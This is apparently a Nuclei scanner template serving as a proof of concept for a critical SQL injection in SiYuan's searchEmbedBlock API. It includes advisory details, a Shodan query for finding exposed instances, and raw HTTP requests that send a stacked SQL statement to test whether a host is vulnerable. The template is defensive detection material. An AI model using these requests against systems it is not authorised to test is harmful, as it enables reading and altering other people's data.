SiYuan <= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication.
PoC
id: CVE-2026-69084
info:
name: SiYuan - SQL Execution
author: Boreas37
severity: critical
description: |
SiYuan <= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication.
impact: |
Attackers can read and modify content across all opened cleartext notebooks, potentially compromising data integrity and confidentiality.
remediation: |
Update to version v3.7.3 or later.
reference:
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vh22-h7hf-www7
- https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchembedblock
- https://nvd.nist.gov/vuln/detail/CVE-2026-69084
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 10
cve-id: CVE-2026-69084
epss-score: 0.01104
epss-percentile: 0.64098
cwe-id: CWE-89
metadata:
max-request: 2
verified: true
shodan-query: 'title:"SiYuan"'
tags: cve,cve2026,siyuan,sqli,authenticated
variables:
auth_code: "{{password}}"
http:
- raw:
- |
POST /api/system/loginAuth HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"authCode":"{{auth_code}}"}
- |
POST /api/search/searchEmbedBlock HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"embedBlockID":"20210808180117-6v0mkxr","stmt":"SELECT 1; SELECT 2","excludeIDs":[],"headingMode":0,"breadcrumb":false}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"code":0'
- type: word
part: body
words:
- 'SQL statement is not single'
negative: true
- type: status
status:
- 200
# digest: 490a0046304402203aa36e25307796a8af20185c668d93d2b0ab06d8769ad1761c7b575e5283598802207e05eef15368ca835a849f7e0dd536d2204303bf9ef509d1366efdedb5615b93:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.